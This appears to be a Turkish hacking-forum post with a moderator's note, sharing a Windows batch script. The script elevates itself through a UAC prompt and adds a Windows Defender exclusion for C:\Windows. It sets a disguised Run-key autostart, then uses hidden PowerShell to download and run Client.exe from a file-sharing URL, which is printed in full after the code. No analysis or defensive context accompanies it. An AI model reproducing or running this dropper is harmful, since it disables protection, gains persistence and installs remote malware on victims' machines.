flashrina
Hectopat
- Katılım
- 26 Nisan 2020
- Mesajlar
- 13
Daha fazla
- Cinsiyet
- Erkek
Moderasyon Notu: Koddaki URL koddan silinip kod dışına not olarak bırakıldı.
URL:
Kod:
echo @off
set "params=%*"
cd /d "%~dp0" && ( if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || ( echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" && "%temp%\getadmin.vbs" && exit /B )
powershell -w hidden -c Add-MpPreference -ExclusionPath "C:\Windows"
xasdx
xasdx
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SysWOW64" /d "\"C:\Windows\Client.exe\"" /f
timeout /t 5 /nobreak >nul
set "URL=URL_SANSÜRLENDİ"
set "DEST=C:\Windows\Client.exe"
if exist "%DEST%" del "%DEST%"
powershell -w hidden -c "(New-Object System.Net.WebClient).DownloadFile('%URL%', '%DEST%')"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"URL:
[URL]https://sw.lifeboxtransfer.com/v1/AUTH_LT_fc856d57-7abc-4ad2-ac90-950f9e675133/LT_03f16f95-27ac-4be0-a2ab-6b6e8b1e08d7/d7391655-43fe-4a88-8ee0-c1fe512c7210/d2049ae8-b72f-4921-bf18-4e16b8a2c8c6?temp_url_sig=a8fc7a52310627e71ff80821d6e66ef535fbe65972017101ec75d2fbcd966efb&temp_url_expires=1726081224735&filename=Client.exe[/URL]
Son düzenleyen: Moderatör:
